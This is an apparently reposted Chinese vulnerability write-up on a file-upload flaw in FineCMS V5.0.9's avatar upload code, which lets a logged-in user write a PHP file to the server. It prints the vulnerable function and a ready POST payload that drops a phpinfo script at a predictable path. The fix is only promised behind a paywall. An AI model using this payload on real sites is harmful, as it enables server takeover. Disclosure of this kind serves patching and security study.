最新版FineCMS V5.0.9 getshell

颓废 2019年5月19日10:45:42评论1,302 views字数 1437阅读4分47秒阅读模式
摘要

具体代码在184行左右的upload函数
修复方案:        过滤,黑名单或者白名单来比对下 $result[2]就行了。 修改成以下代码即可。

漏洞存在于
/finecms/dayrui/controllers/member/Account.php

具体代码在184行左右的upload函数

    public function upload() {          // 创建图片存储文件夹         $dir = SYS_UPLOAD_PATH.'/member/'.$this->uid.'/';         @dr_dir_delete($dir);         !is_dir($dir) && dr_mkdirs($dir);          if ($_POST['tx']) {             $file = str_replace(' ', '+', $_POST['tx']);             if (preg_match('/^(data:/s*image//(/w+);base64,)/', $file, $result)){                 $new_file = $dir.'0x0.'.$result[2];                          if (!@file_put_contents($new_file, base64_decode(str_replace($result[1], '', $file)))) {                     exit(dr_json(0, '目录权限不足或磁盘已满'));                 } else {                     $this->load->library('image_lib');                     $config['create_thumb'] = TRUE;                     $config['thumb_marker'] = '';                     $config['maintain_ratio'] = FALSE;                     $config['source_image'] = $new_file;                     foreach (array(30, 45, 90, 180) as $a) {                         $config['width'] = $config['height'] = $a;                         $config['new_image'] = $dir.$a.'x'.$a.'.'.$result[2];                         $this->image_lib->initialize($config);                         if (!$this->image_lib->resize()) {                             exit(dr_json(0, '上传错误:'.$this->image_lib->display_errors()));                             break;                         }                     }                     list($width, $height, $type, $attr) = getimagesize($dir.'45x45.'.$result[2]);                     !$type && exit(dr_json(0, '图片字符串不规范'));                 }             } else {                  exit(dr_json(0, '图片字符串不规范'));             }         } else {             exit(dr_json(0, '图片不存在'));         }

分析:

该漏洞需要登陆

当用户上传头像时,if (preg_match(‘/^(data:/s*image//(/w+);base64,)/’, $file, $result))

cms使用这个正则来处理了头像文件

所以,post参数也可以修改为  tx= data:image/php;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==        即可写“<?php phpinfo(); ?>”到 url/uploadfile/member/$uid/0x0.php文件中

uid存在于cookie中,查看cookie的member_uid即可

修复方案:        过滤,黑名单或者白名单来比对下 $result[2]就行了。 修改成以下代码即可。

管理员设置VIP可见隐藏内容,立即 登录 开通VIP

采集到的url,放在同目录的urls.txt就行了

最新版FineCMS V5.0.9 getshell

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
颓废
  • 本文由 发表于 2019年5月19日10:45:42
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   最新版FineCMS V5.0.9 getshellhttps://cn-sec.com/archives/68614.html

发表评论

匿名网友 填写信息